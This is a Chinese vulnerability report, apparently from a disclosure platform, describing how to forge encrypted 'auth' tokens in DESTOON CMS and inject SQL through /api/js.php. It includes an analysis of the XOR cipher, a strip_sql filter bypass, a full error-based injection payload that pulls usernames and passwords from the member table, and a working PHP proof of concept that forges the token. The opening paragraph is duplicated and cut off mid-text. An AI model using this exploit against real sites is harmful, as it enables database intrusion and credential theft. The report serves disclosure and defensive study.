### 简要描述: 看了一晚上。还好挖到了、 涉及算法(非暴力),以及一些sql姿势。 通宵提交的漏洞,可能算法剖析那写的有点不清楚,那就重复看几遍 = = 写了这么多,其实我就是想求个精华~ ### 详细说明: --------------------------------------------------------------------- #1 算法剖析篇 ------------- 相比以前 索马里的海贼 大牛破解的, 最新版的算法以及做了很大的改进。 ``` function encrypt($txt, $key = '') { $key or $key = DT_KEY; $rnd = random(32); $txt = $txt.substr($key, 0, 3); $len = strlen($txt); $ctr = 0; $str = ''; for($i = 0; $i < $len; $i++) { $ctr = $ctr == 32 ? 0 : $ctr; $str .= $rnd[$ctr].($txt[$i] ^ $rnd[$ctr++]); } return str_replace(array('=', '+', '/', '0x', '0X'), array('', '-P-', '-S-', '-Z-', '-X-'), base64_encode(kecrypt($str, $key))); } function decrypt($txt, $key = '') { $key or $key = DT_KEY; $txt = kecrypt(base64_decode(str_replace(array('-P-', '-S-', '-Z-', '-X-'), array('+', '/', '0x', '0X'), $txt)), $key); $len = strlen($txt); $str = ''; for($i = 0; $i < $len; $i++) { $tmp = $txt[$i]; $str .= $txt[++$i] ^ $tmp; } return substr($str, -3) == substr($key, 0, 3) ? substr($str, 0, -3) : ''; }...
### 简要描述: 看了一晚上。还好挖到了、 涉及算法(非暴力),以及一些sql姿势。 通宵提交的漏洞,可能算法剖析那写的有点不清楚,那就重复看几遍 = = 写了这么多,其实我就是想求个精华~ ### 详细说明: --------------------------------------------------------------------- #1 算法剖析篇 ------------- 相比以前 索马里的海贼 大牛破解的, 最新版的算法以及做了很大的改进。 ``` function encrypt($txt, $key = '') { $key or $key = DT_KEY; $rnd = random(32); $txt = $txt.substr($key, 0, 3); $len = strlen($txt); $ctr = 0; $str = ''; for($i = 0; $i < $len; $i++) { $ctr = $ctr == 32 ? 0 : $ctr; $str .= $rnd[$ctr].($txt[$i] ^ $rnd[$ctr++]); } return str_replace(array('=', '+', '/', '0x', '0X'), array('', '-P-', '-S-', '-Z-', '-X-'), base64_encode(kecrypt($str, $key))); } function decrypt($txt, $key = '') { $key or $key = DT_KEY; $txt = kecrypt(base64_decode(str_replace(array('-P-', '-S-', '-Z-', '-X-'), array('+', '/', '0x', '0X'), $txt)), $key); $len = strlen($txt); $str = ''; for($i = 0; $i < $len; $i++) { $tmp = $txt[$i]; $str .= $txt[++$i] ^ $tmp; } return substr($str, -3) == substr($key, 0, 3) ? substr($str, 0, -3) : ''; } function kecrypt($txt, $key) { $key = md5($key); $len = strlen($txt); $ctr = 0; $str = ''; for($i = 0; $i < $len; $i++) { $ctr = $ctr == 32 ? 0 : $ctr; $str .= $txt[$i] ^ $key[$ctr++]; } return $str; } ``` 可以看到 iv向量由原来的 $rnd = md5(microtime()) 变成了 $rnd = random(32); 如果仅仅是这样的话 ,倒是可以很快逆出来的, 但是,可以看到它增加了 ``` return substr($str, -3) == substr($key, 0, 3) ? substr($str, 0, -3) : ''; ``` 用于判断数据的完整性。我们逆向推导下密文的还原过程。 1. 首先 base64_decode(str_replace(array('-P-', '-S-', '-Z-', '-X-'), array('+', '/', '0x', '0X'), $txt) 进行特殊符号替换和base64解码。 2. 带入 kecrypt. (由于数学公式不好打 所以上传图片了- -) [<img src="https://images.seebug.org/upload/201509/180936095a7f350a5b922a8c402fb43862debf5a.png" alt="d1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/180936095a7f350a5b922a8c402fb43862debf5a.png) [<img src="https://images.seebug.org/upload/201509/18093913e395ed4c3c1e4b6302ca0213435d235a.png" alt="d2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/18093913e395ed4c3c1e4b6302ca0213435d235a.png) [<img src="https://images.seebug.org/upload/201509/180939218987fcdf041bf55f2b4d1f19373b9385.png" alt="d3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/180939218987fcdf041bf55f2b4d1f19373b9385.png) 结论: 对于密文的前N-6位,第i ,i+1 位 与其所对应的的 明文的 i 位 做异或运算(i为偶数) 结果是一个固定不变的值(Ki^Ki+1) 对于密文的后6位,当两个密文的长度 与32的余数 相等时,其值不变。 也就是说 ,要获取长度为x的明文所对应的密文,只要知道另一个为y的明文所对应的密文即可。其中 ``` (2x+6)%32=(2y+6)%32. ``` ----------------------------------------------- #2 waf绕过 ----------- 在/api/js.php中, ``` <?php $_SERVER['REQUEST_URI'] = ''; require '../common.inc.php'; header("Content-type:text/javascript"); check_referer() or exit('document.write("<h2>Invalid Referer</h2>");'); $tag = isset($auth) ? strip_sql(decrypt($auth)) : ''; $tag or exit('document.write("<h2>Bad Parameter</h2>");'); foreach(array($DT_PRE, '#', '$', '%', '&', 'table', 'fields', 'password', 'payword', 'debug') as $v) { strpos($tag, $v) === false or exit('document.write("<h2>Bad Parameter</h2>");'); } ob_start(); tag($tag); $data = ob_get_contents(); ob_clean(); echo 'document.write(\''.dwrite($data ? $data : 'No Data or Bad Parameter').'\');'; ?> ``` 调用了,跟到 tag ``` function tag($parameter, $expires = 0) { .....//省去无意义代码 parse_str($parameter, $par); if(!is_array($par)) return ''; $par = dstripslashes($par); extract($par, EXTR_SKIP); ...... $order = $order ? ' ORDER BY '.$order : ''; ....... $query = "SELECT ".$fields." FROM ".$table." WHERE ".$condition.$order." LIMIT ".$offset.",".$pagesize; ``` 可以看到 fields table condition order offset pagesize 都无单引号包裹 然而由于 ``` foreach(array($DT_PRE, '#', '$', '%', '&', 'table', 'fields', 'password', 'payword', 'debug') as $v) { strpos($tag, $v) === false or exit('document.write("<h2>Bad Parameter</h2>");'); ``` 我们只能控制 condition order offset pagesize了 接下来就是绕过 strip_sql了。 ``` function strip_sql($string, $type = 1) { $match = array("/union/i","/where/i","/outfile/i","/dumpfile/i","/0x([a-f0-9]{2,})/i","/select([\s\S]*?)from/i","/select([\s\*\/\-\(\+@])/i","/update([\s\*\/\-\(\+@])/i","/replace([\s\*\/\-\(\+@])/i","/delete([\s\*\/\-\(\+@])/i","/drop([\s\*\/\-\(\+@])/i","/load_file[\s]*\(/i","/substring[\s]*\(/i","/substr[\s]*\(/i","/left[\s]*\(/i","/concat[\s]*\(/i","/concat_ws[\s]*\(/i","/make_set[\s]*\(/i","/ascii[\s]*\(/i","/hex[\s]*\(/i","/ord[\s]*\(/i","/char[\s]*\(/i"); $replace = array('union','where','outfile','dumpfile','0x\\1','select\\1from','select\\1','update\\1','replace\\1','delete\\1','drop\\1','load_file(','substring(','substr(','left(','concat(','concat_ws(','make_set(','ascii(','hex(','ord(','char('); if($type) { return is_array($string) ? array_map('strip_sql', $string) : preg_replace($match, $replace, $string); } else { return str_replace(array('d', 'e', 'g', 'i', 'n','p', 'r', 's', 't', 'x'), array('d', 'e', 'g', 'i', 'n', 'p', 'r', 's', 't', 'x'), $string); } } ``` 这过滤简直可怕。 select任意字符from 以及select xxx都不行, 但是注意,limit后面的$offset.",".$pagesize; 是拼接起来的。 我们这样提交pagesize=from&offset=select xxx&moduleid=2&condition=userid=1 就可以绕过 select * from 的检测, 然后 select{x(name)} 绕过 select xxx。 为了方便 ,开启debug进行报错注入演示。 测试的payload为 ``` pagesize="!"))}from DESTOON_MEMBER order by userid limit 1)),1)&offset=1,1 procedure analyse(extractvalue(rand(),(select{x(insert(insert(PASSWORD,1,0,username),1,0&moduleid=2&condition=userid=1 ``` 一共 193字节。根据前面的公式 (2x+6)%32=(2y+6)%32 我们只要找一个已知明文为17字节的密文即可构造了。 在 公司联系方式这个地方可以很快的找到。 [<img src="https://images.seebug.org/upload/201509/18100526cd3a1a38d637bc491b587d530fe08967.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/18100526cd3a1a38d637bc491b587d530fe08967.png) ### 漏洞证明: 填入poc。 ``` <?php function cracked($Expressly,$Ciphertext,$str){ $Ciphertext=str_replace(array('-P-', '-S-', '-Z-', '-X-'),array('+', '/', '0x', '0X'),$Ciphertext); $Ciphertext = base64_decode($Ciphertext); $c=strlen($Ciphertext); $text2="a"; $j=0; $s=0; for($i=0;$i<strlen($str);$i++,$s++){ if($j==32){$j=0;$s=0;} $tmp=$Ciphertext[$j]^$Ciphertext[$j+1]; $tmp=$tmp^$Expressly[$s]; $tmp=$tmp^$str[$i]; $text1=$tmp^$text2; $xxoo =$xxoo.$text2.$text1; $j=$j+2; } for($i=5;$i>=1;$i=$i-2){ $tmp=$Ciphertext[$c-$i]^$Ciphertext[$c-$i-1]^'a'; $xxoo = $xxoo.'a'.$tmp; } echo str_replace(array('+', '/', '0x', '0X'),array('-P-', '-S-', '-Z-', '-X-'),base64_encode($xxoo)); } cracked("1111111111@qq.com","f018SggzVGUtHlo6J0ZaOg5rekJ6bnUGdQBgF1FhKURALgJiClMrTg",'pagesize="!"))}from DESTOON_MEMBER order by userid limit 1)),1)&offset=1,1 procedure analyse(extractvalue(rand(),(select{x(insert(insert(PASSWORD,1,0,username),1,0&moduleid=2&condition=userid=1'); ?> ``` 将得到的值填入auth 提交/api/js.php?auth=xxx 修改下 Referer 即可注入。 [<img src="https://images.seebug.org/upload/201509/18100921fb9fb4fa85acac89e9c117671e7c7cff.png" alt="11.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/18100921fb9fb4fa85acac89e9c117671e7c7cff.png)